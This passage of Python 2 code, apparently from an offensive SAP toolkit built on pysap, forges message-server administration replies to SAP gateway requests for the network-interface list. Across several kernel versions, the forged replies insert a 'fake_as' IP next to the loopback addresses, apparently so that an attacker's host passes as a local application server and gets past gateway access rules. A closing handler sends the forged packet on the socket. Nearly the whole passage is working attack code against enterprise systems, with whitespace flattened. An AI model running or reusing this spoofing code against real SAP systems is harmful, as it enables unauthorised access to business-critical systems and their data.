def ms_adm_nilist(p, whos_asking): print "[+] " + yellow( "Generating AD_GET_NILIST_PORT answer for request with key", bold=True) + " '%s'" % p.key.encode('hex') fromname = str() toname = str() answer = 1 # extract info from key foo, key_t, key_u, key_respid = struct.unpack('!BBHL', p.key) fromname = my_name toname = p.fromname key = p.key flag = 'MS_REPLY' opcode_version = 5 adm_type = 'ADM_REPLY' rec = ' ' * 100 recno = 0 records = None r = SAPMS(toname=toname, fromname=fromname, key=key, domain='ABAP', flag=flag, iflag='MS_SEND_NAME', opcode='MS_DP_ADM', opcode_version=p.opcode_version, opcode_charset=p.opcode_charset, dp_version=p.dp_version, adm_recno=recno, adm_type=adm_type, adm_records=records) ############################### # 745 KERNEL and sometime 742 # ############################### # why "sometime" for 742? # they have both programs, old "RSMONGWY_SEND_NILIST" and new "RGWMON_SEND_NILIST" # they both use dp_version=13, but IP list format expected in the ADM layer is a # bit different between both programs. if p.dp_version == 13: r.adm_recno = 4 if 'RSMONGWY_SEND_NILIST' in whos_asking: r.adm_records = [ SAPMSAdmRecord(opcode='AD_SELFIDENT', record=rec, serial_number=0, executed=answer), SAPMSAdmRecord(opcode='AD_GET_NILIST', record=ms_adm_build_old_ip_record("127.0.0.1"), serial_number=0, executed=answer), SAPMSAdmRecord(opcode='AD_GET_NILIST', record=ms_adm_build_old_ip_record("127.0.0.2"), serial_number=1, executed=answer), SAPMSAdmRecord(opcode='AD_GET_NILIST', record=ms_adm_build_old_ip_record( fake_as["ip"]), serial_number=2, executed=answer) ] else: r.adm_records = [ SAPMSAdmRecord(opcode='AD_SELFIDENT', record=rec, serial_number=0, executed=answer), SAPMSAdmRecord(opcode='AD_GET_NILIST_PORT', record=ms_adm_build_ip_record("127.0.0.1"), serial_number=0, executed=answer), SAPMSAdmRecord(opcode='AD_GET_NILIST_PORT', record=ms_adm_build_ip_record("127.0.0.2"), serial_number=1, executed=answer), SAPMSAdmRecord(opcode='AD_GET_NILIST_PORT', record=ms_adm_build_ip_record(fake_as["ip"]), serial_number=2, executed=answer) ] r.dp_info1 = SAPDPInfo1( dp_req_len=452, dp_req_prio='MEDIUM', dp_type_from='BY_NAME', dp_fromname=my_name, dp_agent_type_from='DISP', dp_worker_from_num=p.dp_info1.dp_worker_to_num, dp_addr_from_t=p.dp_info1.dp_addr_from_t, dp_addr_from_u=p.dp_info1.dp_addr_from_u, dp_addr_from_m=0, dp_respid_from=p.dp_info1.dp_respid_from, dp_type_to='BY_NAME', dp_toname=p.fromname, dp_agent_type_to='WORKER', dp_worker_type_to='DIA', dp_worker_to_num=p.dp_info1.dp_worker_from_num, dp_addr_to_t=p.dp_info1.dp_addr_from_t, dp_addr_to_u=p.dp_info1.dp_addr_from_u, dp_addr_to_m=p.dp_info1.dp_addr_from_m, dp_respid_to=p.dp_info1.dp_respid_from, dp_req_handler='REQ_HANDLER_ADM_RESP', dp_blob_worker_from_num=p.dp_info1.dp_worker_from_num, dp_blob_addr_from_t=p.dp_info1.dp_addr_from_t, dp_blob_addr_from_u=p.dp_info1.dp_addr_from_u, dp_blob_respid_from=p.dp_info1.dp_blob_respid_from, dp_blob_dst=(' ' * 35).encode('UTF-16-BE')) ############## # 720 KERNEL # ############## # Here we use old IP list format # and a much simpler DP layer if p.dp_version == 11: r.adm_recno = 4 r.adm_records = [ SAPMSAdmRecord(opcode='AD_SELFIDENT', record=rec, serial_number=0, executed=answer), SAPMSAdmRecord(opcode='AD_GET_NILIST', record=ms_adm_build_old_ip_record("127.0.0.1"), serial_number=0, executed=answer), SAPMSAdmRecord(opcode='AD_GET_NILIST', record=ms_adm_build_old_ip_record("127.0.0.2"), serial_number=1, executed=answer), SAPMSAdmRecord(opcode='AD_GET_NILIST', record=ms_adm_build_old_ip_record(fake_as["ip"]), serial_number=2, executed=answer) ] r.dp_info2 = SAPDPInfo2(dp_req_prio='MEDIUM', dp_blob_14=p.dp_info2.dp_blob_14, dp_name_to=p.fromname, dp_addr_from_t=255, dp_blob_09='\xff\xcc', dp_blob_10='\x01\x00', dp_addr_from_u=0, dp_addr_from_m=0, dp_addr_to_t=key_t, dp_addr_to_u=key_u, dp_addr_to_m=0, dp_respid_to=key_respid, dp_blob_19=1, dp_blob_21=105) ############## # 749 KERNEL # ############## # That's use on latest kernel like S4HANA servers if p.dp_version == 14: r.adm_recno = 4 r.adm_records = [ SAPMSAdmRecord(opcode='AD_SELFIDENT', record=rec, serial_number=0, executed=answer), SAPMSAdmRecord(opcode='AD_GET_NILIST_PORT', record=ms_adm_build_ip_record("127.0.0.1"), serial_number=0, executed=answer), SAPMSAdmRecord(opcode='AD_GET_NILIST_PORT', record=ms_adm_build_ip_record("127.0.0.2"), serial_number=1, executed=answer), SAPMSAdmRecord(opcode='AD_GET_NILIST_PORT', record=ms_adm_build_ip_record(fake_as["ip"]), serial_number=2, executed=answer) ] r.dp_info3 = SAPDPInfo3(dp_req_len=348, dp_req_prio='MEDIUM', dp_type_from='BY_NAME', dp_fromname=my_name, dp_agent_type_from='DISP', dp_worker_from_num=p.dp_info3.dp_worker_to_num, dp_addr_from_t=p.dp_info3.dp_addr_from_t, dp_addr_from_u=p.dp_info3.dp_addr_from_u, dp_addr_from_m=0, dp_respid_from=p.dp_info3.dp_respid_from, dp_type_to='BY_NAME', dp_toname=p.fromname, dp_agent_type_to='WORKER', dp_worker_type_to='DIA', dp_worker_to_num=p.dp_info3.dp_worker_from_num, dp_addr_to_t=p.dp_info3.dp_addr_from_t, dp_addr_to_u=p.dp_info3.dp_addr_from_u, dp_respid_to=p.dp_info3.dp_respid_from, dp_padd25=1, dp_req_handler='REQ_HANDLER_ADM_RESP', dp_padd29=p.dp_info3.dp_padd29, dp_padd30=p.dp_info3.dp_padd30, dp_padd31=p.dp_info3.dp_padd31, dp_padd32=p.dp_info3.dp_padd32) open("/tmp/dp.bin", "wb").write(str(SAPNI() / r)) return r
# Case where parsing is broken (because some DP ADM packets are sent with # opcode = MS_SERVER_CHG and that's not handled in SAPMS... # there are SAPAdmRecords but the DP layer has not been parsed properly # so nothing makes really sense # # This was observed on 30.14 (kernel 742, patchlevel 28) if r.adm_eyecatcher.startswith('\x0d') and 'SEND_NILIST' in str(r): str_r = str(r) dp = SAPDPInfo1(str_r[0x77:]) ad_rec_offset = str_r.find('AD-EYECATCH') + 35 if 'RSMONGWY_SEND_NILIST' in str_r: rec = 'RSMONGWY_SEND_NILIST' elif 'RGWMON_SEND_NILIST' in str_r: rec = 'RGWMON_SEND_NILIST' p = SAPMS() p.key = r.key p.fromname = r.fromname p.toname = r.toname p.dp_version = 13 p.dp_info1 = dp pp = ms_adm_nilist(p, rec) if args.debug: pp.show() hexdump(pp) print "Len request:", len(r) print "Len answer:", len(pp) s.send(pp)